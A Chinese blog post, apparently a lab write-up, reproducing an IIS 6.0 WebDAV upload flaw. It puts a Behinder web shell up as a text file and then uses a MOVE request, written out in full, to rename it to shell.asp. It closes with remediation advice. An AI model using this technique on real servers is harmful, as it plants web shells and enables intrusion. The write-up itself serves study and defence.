IIS6.0 put文件上传GetShell

news/2024/11/8 3:13:42/

目录

WebDAV

环境配置

漏洞复现

漏洞修复


WebDAV

WebDAV (Web-based Distributed Authoring and Versioning) 是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新HTTP请求方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,可以被恶意攻击者利用,直接上传恶意文件

当IIS服务器开启了webdav服务扩展,又设置了来宾账户对web目录拥有写入权限时,可以被恶意攻击者利用,直接上传恶意文件

  • 影响版本:iis6.0

当关闭WebDAV时,使用OPTIONS探测服务器支持的方法,什么也没有

开启WebDAV时,服务器允许的方法如下

环境配置

  • 环境:win2003, iis6.0

安装完iis后

1. 将WebDAV设置为允许

2. 网站主目录配置了脚本资源访问、写入的权限

3. web根目录对"Internet来宾账户"添加写入权限

到此,环境配置完成

漏洞复现

上传一个1.txt,内容为冰蝎

显示201 Created,代表成功。ps:如果直接上传一个asp的脚本文件是不可以的

修改文件名,将1.txt修改为shell.asp。207,代表修改成功。

MOVE /1.txt HTTP/1.1
Host: 192.168.125.162
Destination: /shell.asp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 0

连接shell

漏洞修复

  • 禁用WebDAV选项。
  • 如果要使用WebDAV的话,加上权限验证。

http://www.ppmy.cn/news/77985.html

相关文章

【AI面试】CrossEntropy Loss 、Balanced Cross Entropy、 Dice Loss 和 Focal Loss 横评对比

样本不均衡问题一直是深度学习领域一个不可忽略的问题,常说的长尾效应,说的就是这个问题。一类占据了主导地位,导致其他类无论怎么优化,都不能好转。 无论是纯纯的分类任务,还是稍微复杂一些的目标检测任务和分割任务…

对CommonJS、AMD、CMD、ES Module的理解

CommonJS 常用于:服务器端,node,webpack 特点:同步/运行时加载,磁盘读取速度快 语法: // 1. 导出:通过module.exports或exports来暴露模块 module.exports { attr1, attr2 } ex…

npm init和npm create、npm create vite什么意思

npm init 和npm create 之前在用npm时,一直都是npm init来初始化一个项目并生成package.json文件。 但是,今天在看vite的官方文档时,vite上说创建一个vite项目的命令是 npm create vitelatest之前一直没有用过npm create这个命令&#xff…

亚马逊关联视频:如何成为影响者视频行业的重要一环?

亚马逊作为全球最大的电商平台之一,一直在探索如何让更多的消费者通过视频了解和购买自己的产品。而随着社交媒体和视频内容的兴起,越来越多的品牌和卖家开始将亚马逊关联视频作为营销和推广的重要手段,同时也为消费者提供了更加生动、直观的…

pdf如何删除其中一页?不妨试试这些办法

PDF格式是一种非常常见的文档格式,它可以在各种系统和设备上使用,而且无论在哪里打开,都可以保持格式的一致性。有时候,我们需要删除PDF文档中的一页,无论是为了更改文档的结构,还是为了删除错误的信息。在…

MATLAB PCA及其实现方法

PCA(Principal Component Analysis)是一种常用的数据降维方法,它可以将高维数据转换为低维数据,同时保留原始数据中的主要信息。在实际应用中,我们通常使用matlab来实现PCA算法。 本文将介绍matlab中的PCA实现方法&am…

用写代码的方式画图-试下PlantUML吧 | 京东云技术团队

1 序言 所谓一图胜千言,大家平日在工作中编写文档时,往往都需要画各种图来表达中心思想,比如流程图、时序图、UML 图,很多人选择使用 Axure 、PrecessOn、Diagrams(darw.io)、XMind、Visio、yEd、Lucidcha…

Python 近场通信:使用 NFC (Near Field Communication) 和 nfcpy

目录 NFC 的基本原理 nfcpy 模块介绍 Python NFC 读取例子 结语 近场通信 (NFC) 是一种在物理距离 4 厘米以内的设备之间进行简单安全的双向交互的技术。Python 提供了一种实现 NFC 的模块,名为 nfcpy。本文将对 NFC 的原理进行简要介绍,并通过 Pyth…